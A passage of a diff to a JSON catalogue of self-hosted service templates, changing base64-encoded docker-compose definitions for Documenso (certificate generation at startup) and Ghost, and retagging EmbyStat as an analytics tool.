9zY2hlbWE9cHVibGljJwogICAgICAtIE5FWFRfUFJJVkFURV9TSUdOSU5HX0xPQ0FMX0ZJTEVfUEFUSD0vYXBwL2FwcHMvcmVtaXgvY2VydHMvY2VydGlmaWNhdGUucDEyCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TSUdOSU5HX1BBU1NQSFJBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT30nCiAgICAgIC0gJ0NFUlRfVkFMSURfREFZUz0ke0NFUlRfVkFMSURfREFZUzotMzY1fScKICAgICAgLSAnQ0VSVF9JTkZPX0NPVU5UUllfTkFNRT0ke0NFUlRfSU5GT19DT1VOVFJZX05BTUU6LURPfScKICAgICAgLSAnQ0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0U9JHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRTotU2FudGlhZ299JwogICAgICAtICdDRVJUX0lORk9fTE9DQUxJVFlfTkFNRT0ke0NFUlRfSU5GT19MT0NBTElUWV9OQU1FOi1TYW50aWFnb30nCiAgICAgIC0gJ0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRT0ke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRTotRXhhbXBsZSBJTkN9JwogICAgICAtICdDRVJUX0lORk9fT1JHQU5JWkFUSU9OQUxfVU5JVD0ke0NFUlRfSU5GT19PUkdBTklaQVRJT05BTF9VTklUOi1JVCBEZXBhcnRtZW50fScKICAgICAgLSAnQ0VSVF9JTkZPX0VNQUlMPSR7Q0VSVF9JTkZPX0VNQUlMOi1leGFtcGxlQGdtYWlsLmNvbX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9MT0dJTjotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJ3Z2V0IC1xIC1PIC0gaHR0cDovL2RvY3VtZW5zbzozMDAwLyB8IGdyZXAgLXEgJ1NpZ24gaW4gdG8geW91ciBhY2NvdW50JyIKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogICAgZW50cnlwb2ludDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICJlY2hvIFwiLi9jZXJ0c1wiID4gL3RtcC9jZXJ0c19kaXJfcGF0aFxuZWNobyBcIi4vbWFrZS1jZXJ0cy5zaFwiID4gL3RtcC9jZXJ0X3NjcmlwdF9wYXRoXG5lY2hvIFwiJHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT31cIiA+IC90bXAvY2VydF9wYXNzXG5cbnRvdWNoIC90bXAvY2VydF9pbmZvX3BhdGhcbmNhdCA8PEVPRiA+IC90bXAvY2VydF9pbmZvX3BhdGhcblsgcmVxIF1cbmRpc3Rpbmd1aXNoZWRfbmFtZSA9IHJlcV9kaXN0aW5ndWlzaGVkX25hbWVcbnByb21wdCA9IG5vXG5bIHJlcV9kaXN0aW5ndWlzaGVkX25hbWUgXVxuQyAgICAgICAgICAgID0gJHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FfVxuU1QgICAgICAgICAgID0gJHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRX1cbkwgICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX0xPQ0FMSVRZX05BTUV9XG5PICAgICAgICAgICAgPSAke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRX1cbk9VICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVR9XG5DTiAgICAgICAgICAgPSAke1NFUlZJQ0VfRlFETl9ET0NVTUVOU099XG5lbWFpbEFkZHJlc3MgPSAke0NFUlRfSU5GT19FTUFJTH1cbkVPRlxuXG5jYXQgPDxFT0YgPiBcIiQoY2F0IC90bXAvY2VydF9zY3JpcHRfcGF0aClcIlxubWtkaXIgLXAgXCIkKGNhdCAvdG1wL2NlcnRzX2Rpcl9wYXRoKVwiICYmIGNkIFwiJChjYXQgL3RtcC9jZXJ0c19kaXJfcGF0aClcIlxuXG5vcGVuc3NsIGdlbnJzYSAtb3V0IHByaXZhdGUua2V5IDIwNDhcblxub3BlbnNzbCByZXEgXFxcbiAgLW5ldyBcXFxuICAteDUwOSBcXFxuICAta2V5IHByaXZhdGUua2V5IFxcXG4gIC1vdXQgY2VydGlmaWNhdGUuY3J0IFxcXG4gIC1kYXlzICR7Q0VSVF9WQUxJRF9EQVlTfSBcXFxuICAtY29uZmlnIC90bXAvY2VydF9pbmZvX3BhdGhcblxub3BlbnNzbCBwa2NzMTIgXFxcbiAgLWV4cG9ydCBcXFxuICAtb3V0IGNlcnRpZmljYXRlLnAxMiBcXFxuICAtaW5rZXkgcHJpdmF0ZS5rZXkgXFxcbiAgLWluIGNlcnRpZmljYXRlLmNydCBcXFxuICAtbGVnYWN5IFxcXG4gIC1wYXNzd29yZCBmaWxlOi90bXAvY2VydF9wYXNzXG5FT0ZcbmNobW9kICt4IFwiJChjYXQgL3RtcC9jZXJ0X3NjcmlwdF9wYXRoKVwiXG5cbnNoIFwiJChjYXQgL3RtcC9jZXJ0X3NjcmlwdF9wYXRoKVwiXG5cbi4vc3RhcnQuc2hcbiIKICBkYXRhYmFzZToKICAgIGltYWdlOiAncG9zdGdyZXM6MTcnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWRvY3VtZW5zby1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2N1bWVuc29fcG9zdGdyZXNxbF9kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
+        "compose": "c2VydmljZXM6CiAgZG9jdW1lbnNvOgogICAgaW1hZ2U6ICdkb2N1bWVuc28vZG9jdW1lbnNvOnYxLjEyLjEwJwogICAgZGVwZW5kc19vbjoKICAgICAgZGF0YWJhc2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0NVTUVOU09fMzAwMAogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfQVVUSFNFQ1JFVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0VOQ1JZUFRJT05LRVl9JwogICAgICAtICdORVhUX1BSSVZBVEVfRU5DUllQVElPTl9TRUNPTkRBUllfS0VZPSR7U0VSVklDRV9CQVNFNjRfU0VDT05EQVJZRU5DUllQVElPTktFWX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX1dFQkFQUF9VUkw9JHtTRVJWSUNFX0ZRRE5fRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZPSR7TkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfSE9TVD0ke05FWFRfUFJJVkFURV9TTVRQX0hPU1R9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX1VTRVJOQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QQVNTV09SRD0ke05FWFRfUFJJVkFURV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtICdORVhUX1BSSVZBVEVfRElSRUNUX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtIE5FWFRfUFJJVkFURV9TSUdOSU5HX0xPQ0FMX0ZJTEVfUEFUSD0vYXBwL2FwcHMvcmVtaXgvY2VydHMvY2VydGlmaWNhdGUucDEyCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TSUdOSU5HX1BBU1NQSFJBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT30nCiAgICAgIC0gTkVYVF9QUklWQVRFX1NJR05JTkdfVFJBTlNQT1JUPWxvY2FsCiAgICAgIC0gTkVYVF9QUklWQVRFX1NJR05JTkdfTE9DQUxfRklMRV9QQVRIPS9hcHAvY2VydHMvY2VydC5wMTIKICAgICAgLSAnTkVYVF9QUklWQVRFX1NJR05JTkdfTE9DQUxfRklMRV9QQVNTUEhSQVNFPSR7U0VSVklDRV9QQVNTV09SRF9ET0NVTUVOU099JwogICAgICAtICdDRVJUX1ZBTElEX0RBWVM9JHtDRVJUX1ZBTElEX0RBWVM6LTM2NX0nCiAgICAgIC0gJ0NFUlRfSU5GT19DT1VOVFJZX05BTUU9JHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FOi1ET30nCiAgICAgIC0gJ0NFUlRfSU5GT19TVEFURV9PUl9QUk9WSURFTkNFPSR7Q0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0U6LVNhbnRpYWdvfScKICAgICAgLSAnQ0VSVF9JTkZPX0xPQ0FMSVRZX05BTUU9JHtDRVJUX0lORk9fTE9DQUxJVFlfTkFNRTotU2FudGlhZ299JwogICAgICAtICdDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUU9JHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUU6LUV4YW1wbGUgSU5DfScKICAgICAgLSAnQ0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVQ9JHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OQUxfVU5JVDotSVQgRGVwYXJ0bWVudH0nCiAgICAgIC0gJ0NFUlRfSU5GT19FTUFJTD0ke0NFUlRfSU5GT19FTUFJTDotZXhhbXBsZUBnbWFpbC5jb219JwogICAgICAtICdORVhUX1BVQkxJQ19ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfTE9HSU46LWZhbHNlfScKICAgICAgLSAnU0VSVklDRV9QQVNTV09SRF9ET0NVTUVOU089JHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TTzotfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAid2dldCAtcSAtTyAtIGh0dHA6Ly9kb2N1bWVuc286MzAwMC8gfCBncmVwIC1xICdTaWduIGluIHRvIHlvdXIgYWNjb3VudCciCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAiQ0VSVF9QQVNTUEhSQVNFPVwiJCR7TkVYVF9QUklWQVRFX1NJR05JTkdfTE9DQUxfRklMRV9QQVNTUEhSQVNFfVwiXG5QQVNTUEhSQVNFX0ZJTEU9XCIvdG1wL2NlcnRfcGFzc3BocmFzZVwiXG5cbiMgU2F2ZSBvcmlnaW5hbCB3b3JraW5nIGRpcmVjdG9yeVxuT1JJR0lOQUxfRElSPVwiJCQocHdkKVwiXG5cbiMgRmluZCBvcGVuc3NsIGJpbmFyeSAoc2hvdWxkIGJlIGF2YWlsYWJsZSBpbiB2MS4xMi4xMCspXG5PUEVOU1NMX0NNRD1cIiQkKHdoaWNoIG9wZW5zc2wgMj4vZGV2L251bGwgfHwgY29tbWFuZCAtdiBvcGVuc3NsIDI+L2Rldi9udWxsIHx8IGVjaG8gJy91c3IvYmluL29wZW5zc2wnKVwiXG5cbiMgVmVyaWZ5IG9wZW5zc2wgaXMgYXZhaWxhYmxlXG5pZiAhICQkT1BFTlNTTF9DTUQgdmVyc2lvbiA+L2Rldi9udWxsIDI+JjE7IHRoZW5cbiAgZWNobyBcIkVycm9yOiBPcGVuU1NMIG5vdCBmb3VuZC4gUGxlYXNlIHVzZSBEb2N1bWVuc28gaW1hZ2UgdjEuMTIuMTAgb3IgbGF0ZXIuXCJcbiAgZXhpdCAxXG5maVxuXG4jIENyZWF0ZSBjZXJ0aWZpY2F0ZSBkaXJlY3RvcnkgLSB1c2UgL2FwcC9jZXJ0cyAod3JpdGFibGUgYnkgdXNlciAxMDAxKVxuQ0VSVF9ESVI9XCIvYXBwL2NlcnRzXCJcbm1rZGlyIC1wIFwiJCRDRVJUX0RJUlwiIHx8IHtcbiAgIyBGYWxsYmFjayB0byB0bXAgaWYgYXBwIGRpcmVjdG9yeSBub3Qgd3JpdGFibGVcbiAgQ0VSVF9ESVI9XCIvdG1wL2NlcnRzXCJcbiAgbWtkaXIgLXAgXCIkJENFUlRfRElSXCJcbiAgZWNobyBcIldhcm5pbmc6IFVzaW5nIGZhbGxiYWNrIGRpcmVjdG9yeTogJCRDRVJUX0RJUlwiXG59XG5cbiMgQ3JlYXRlIHBhc3NwaHJhc2UgZmlsZSBmb3Igc2VjdXJlIGhhbmRsaW5nIChwcmV2ZW50cyBleHBvc3VyZSBpbiBwcm9jZXNzIGxpc3QpXG4jIFRoaXMgYXZvaWRzIHNoZWxsIHdvcmQtc3BsaXR0aW5nIGlzc3VlcyBhbmQgcHJldmVudHMgcGFzc3BocmFzZSBmcm9tIGFwcGVhcmluZyBpbiBwcy9wcm9jZXNzIGxpc3RcbmVjaG8gLW4gXCIkJENFUlRfUEFTU1BIUkFTRVwiID4gXCIkJFBBU1NQSFJBU0VfRklMRVwiXG5jaG1vZCA2MDAgXCIkJFBBU1NQSFJBU0VfRklMRVwiXG5cbnRvdWNoIC90bXAvY2VydF9pbmZvX3BhdGhcbmNhdCA8PEVPRiA+IC90bXAvY2VydF9pbmZvX3BhdGhcblsgcmVxIF1cbmRpc3Rpbmd1aXNoZWRfbmFtZSA9IHJlcV9kaXN0aW5ndWlzaGVkX25hbWVcbnByb21wdCA9IG5vXG5bIHJlcV9kaXN0aW5ndWlzaGVkX25hbWUgXVxuQyAgICAgICAgICAgID0gJHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FfVxuU1QgICAgICAgICAgID0gJHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRX1cbkwgICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX0xPQ0FMSVRZX05BTUV9XG5PICAgICAgICAgICAgPSAke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRX1cbk9VICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVR9XG5DTiAgICAgICAgICAgPSAke1NFUlZJQ0VfRlFETl9ET0NVTUVOU099XG5lbWFpbEFkZHJlc3MgPSAke0NFUlRfSU5GT19FTUFJTH1cbkVPRlxuXG5jZCBcIiQkQ0VSVF9ESVJcIlxuXG4kJE9QRU5TU0xfQ01EIGdlbnJzYSAtb3V0IHByaXZhdGUua2V5IDIwNDhcblxuJCRPUEVOU1NMX0NNRCByZXEgXFxcbiAgLW5ldyBcXFxuICAteDUwOSBcXFxuICAta2V5IHByaXZhdGUua2V5IFxcXG4gIC1vdXQgY2VydGlmaWNhdGUuY3J0IFxcXG4gIC1kYXlzICQke0NFUlRfVkFMSURfREFZU30gXFxcbiAgLWNvbmZpZyAvdG1wL2NlcnRfaW5mb19wYXRoXG5cbiMgQ3JlYXRlIFAxMiBjZXJ0aWZpY2F0ZSB1c2luZyBmaWxlLWJhc2VkIHBhc3NwaHJhc2UgKHByZXZlbnRzIGV4cG9zdXJlIGluIHByb2Nlc3MgbGlzdClcbiMgUHJpdmF0ZSBrZXkgaXMgbm90IGVuY3J5cHRlZCwgc28gd2Ugb25seSBuZWVkIC1wYXNzb3V0IChub3QgLXBhc3NpbilcbiQkT1BFTlNTTF9DTUQgcGtjczEyIFxcXG4gIC1leHBvcnQgXFxcbiAgLW91dCBjZXJ0LnAxMiBcXFxuICAtaW5rZXkgcHJpdmF0ZS5rZXkgXFxcbiAgLWluIGNlcnRpZmljYXRlLmNydCBcXFxuICAtbGVnYWN5IFxcXG4gIC1wYXNzb3V0IGZpbGU6XCIkJFBBU1NQSFJBU0VfRklMRVwiXG5cbiMgQ2xlYW4gdXAgcGFzc3BocmFzZSBmaWxlIGltbWVkaWF0ZWx5IGFmdGVyIHVzZVxucm0gLWYgXCIkJFBBU1NQSFJBU0VfRklMRVwiXG5cbiMgU2V0IHBlcm1pc3Npb25zIChtYXkgZmFpbCBpZiBub3Qgcm9vdCwgYnV0IHdpbGwgd29yayBpbiBDb29saWZ5KVxuY2hvd24gMTAwMToxMDAxIGNlcnQucDEyIHByaXZhdGUua2V5IGNlcnRpZmljYXRlLmNydCAyPi9kZXYvbnVsbCB8fCB0cnVlXG5jaG1vZCA0MDAgY2VydC5wMTIgcHJpdmF0ZS5rZXkgY2VydGlmaWNhdGUuY3J0XG5cbiMgVXBkYXRlIGVudmlyb25tZW50IHZhcmlhYmxlIGlmIGRpcmVjdG9yeSBjaGFuZ2VkXG5pZiBbIFwiJCRDRVJUX0RJUlwiICE9IFwiL2FwcC9jZXJ0c1wiIF07IHRoZW5cbiAgZXhwb3J0IE5FWFRfUFJJVkFURV9TSUdOSU5HX0xPQ0FMX0ZJTEVfUEFUSD1cIiQkQ0VSVF9ESVIvY2VydC5wMTJcIlxuZmlcblxuIyBSZXR1cm4gdG8gb3JpZ2luYWwgZGlyZWN0b3J5IGJlZm9yZSBzdGFydGluZyBhcHBsaWNhdGlvblxuY2QgXCIkJE9SSUdJTkFMX0RJUlwiXG5cbi4vc3RhcnQuc2hcbiIKICBkYXRhYmFzZToKICAgIGltYWdlOiAncG9zdGdyZXM6MTcnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWRvY3VtZW5zby1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2N1bWVuc29fcG9zdGdyZXNxbF9kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
         "tags": [
             "signing",
             "opensource",
@@ -976,13 +976,13 @@
         "slogan": "EmbyStat is a web analytics tool, designed to provide insight into website traffic and user behavior.",
         "compose": "c2VydmljZXM6CiAgZW1ieXN0YXQ6CiAgICBpbWFnZTogJ2xzY3IuaW8vbGludXhzZXJ2ZXIvZW1ieXN0YXQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0VNQllTVEFUXzY1NTUKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSBUWj1FdXJvcGUvTWFkcmlkCiAgICB2b2x1bWVzOgogICAgICAtICdlbWJ5c3RhdC1jb25maWc6L2NvbmZpZycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo2NTU1JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1Cg==",
         "tags": [
-            "media",
-            "server",
-            "movies",
-            "tv",
-            "music"
+            "analytics",
+            "insights",
+            "statistics",
+            "web",
+            "traffic"
         ],
-        "category": "media",
+        "category": "analytics",
         "logo": "svgs/default.webp",
         "minversion": "0.0.0",
         "port": "6555"
@@ -1397,7 +1397,7 @@
     "ghost": {
         "documentation": "https://ghost.org?utm_source=coolify.io",
         "slogan": "Ghost is a content management system (CMS) and blogging platform.",
-        "compose": "c2VydmljZXM6CiAgZ2hvc3Q6CiAgICBpbWFnZTogJ2dob3N0OjUnCiAgICB2b2x1bWVzOgogICAgICAtICdnaG9zdC1jb250ZW50LWRhdGE6L3Zhci9saWIvZ2hvc3QvY29udGVudCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9HSE9TVF8yMzY4CiAgICAgIC0gdXJsPSRTRVJWSUNFX0ZRRE5fR0hPU1RfMjM2OAogICAgICAtIGRhdGFiYXNlX19jbGllbnQ9bXlzcWwKICAgICAgLSBkYXRhYmFzZV9fY29ubmVjdGlvbl9faG9zdD1teXNxbAogICAgICAtIGRhdGFiYXNlX19jb25uZWN0aW9uX191c2VyPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBkYXRhYmFzZV9fY29ubmVjdGlvbl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSAnZGF0YWJhc2VfX2Nvbm5lY3Rpb25fX2RhdGFiYXNlPSR7TVlTUUxfREFUQUJBU0UtZ2hvc3R9JwogICAgICAtIG1haWxfX3RyYW5zcG9ydD1TTVRQCiAgICAgIC0gJ21haWxfX29wdGlvbnNfX2F1dGhfX3Bhc3M9JHtNQUlMX09QVElPTlNfQVVUSF9QQVNTfScKICAgICAgLSAnbWFpbF9fb3B0aW9uc19fYXV0aF9fdXNlcj0ke01BSUxfT1BUSU9OU19BVVRIX1VTRVJ9JwogICAgICAtICdtYWlsX19vcHRpb25zX19zZWN1cmU9JHtNQUlMX09QVElPTlNfU0VDVVJFOi10cnVlfScKICAgICAgLSAnbWFpbF9fb3B0aW9uc19fcG9ydD0ke01BSUxfT1BUSU9OU19QT1JUOi00NjV9JwogICAgICAtICdtYWlsX19vcHRpb25zX19zZXJ2aWNlPSR7TUFJTF9PUFRJT05TX1NFUlZJQ0U6LU1haWxndW59JwogICAgICAtICdtYWlsX19vcHRpb25zX19ob3N0PSR7TUFJTF9PUFRJT05TX0hPU1R9JwogICAgZGVwZW5kc19vbjoKICAgICAgbXlzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgbXlzcWw6CiAgICBpbWFnZTogJ215c3FsOjguMCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dob3N0LW15c3FsLWRhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0V9JwogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTFJPT1R9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG15c3FsYWRtaW4KICAgICAgICAtIHBpbmcKICAgICAgICAtICctaCcKICAgICAgICAtIDEyNy4wLjAuMQogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
+        "compose": "c2VydmljZXM6CiAgZ2hvc3Q6CiAgICBpbWFnZTogJ2dob3N0OjUnCiAgICB2b2x1bWVzOgogICAgICAtICdnaG9zdC1jb250ZW50LWRhdGE6L3Zhci9saWIvZ2hvc3QvY29udGVudCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9HSE9TVF8yMzY4CiAgICAgIC0gdXJsPSRTRVJWSUNFX0ZRRE5fR0hPU1QKICAgICAgLSBkYXRhYmFzZV9fY2xpZW50PW15c3FsCiAgICAgIC0gZGF0YWJhc2VfX2Nvbm5lY3Rpb25fX2hvc3Q9bXlzcWwKICAgICAgLSBkYXRhYmFzZV9fY29ubmVjdGlvbl9fdXNlcj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gZGF0YWJhc2VfX2Nvbm5lY3Rpb25fX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ2RhdGFiYXNlX19jb25uZWN0aW9uX19kYXRhYmFzZT0ke01ZU1FMX0RBVEFCQVNFLWdob3N0fScKICAgICAgLSBtYWlsX190cmFuc3BvcnQ9U01UUAogICAgICAtICdtYWlsX19vcHRpb25zX19hdXRoX19wYXNzPSR7TUFJTF9PUFRJT05TX0FVVEhfUEFTU30nCiAgICAgIC0gJ21haWxfX29wdGlvbnNfX2F1dGhfX3VzZXI9JHtNQUlMX09QVElPTlNfQVVUSF9VU0VSfScKICAgICAgLSAnbWFpbF9fb3B0aW9uc19fc2VjdXJlPSR7TUFJTF9PUFRJT05TX1NFQ1VSRTotdHJ1ZX0nCiAgICAgIC0gJ21haWxfX29wdGlvbnNfX3BvcnQ9JHtNQUlMX09QVElPTlNfUE9SVDotNDY1fScKICAgICAgLSAnbWFpbF9fb3B0aW9uc19fc2VydmljZT0ke01BSUxfT1BUSU9OU19TRVJWSUNFOi1NYWlsZ3VufScKICAgICAgLSAnbWFpbF9fb3B0aW9uc19faG9zdD0ke01BSUxfT1BUSU9OU19IT1NUfScKICAgIGRlcGVuZHNfb246CiAgICAgIG15c3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG15c3FsOgogICAgaW1hZ2U6ICdteXNxbDo4LjAnCiAgICB2b2x1bWVzOgogICAgICAtICdnaG9zdC1teXNxbC1kYXRhOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFfScKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBteXNxbGFkbWluCiAgICAgICAgLSBwaW5nCiAgICAgICAgLSAnLWgnCiAgICAgICAgLSAxMjcuMC4wLjEKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
         "tags": [
             "cms",
             "blog",
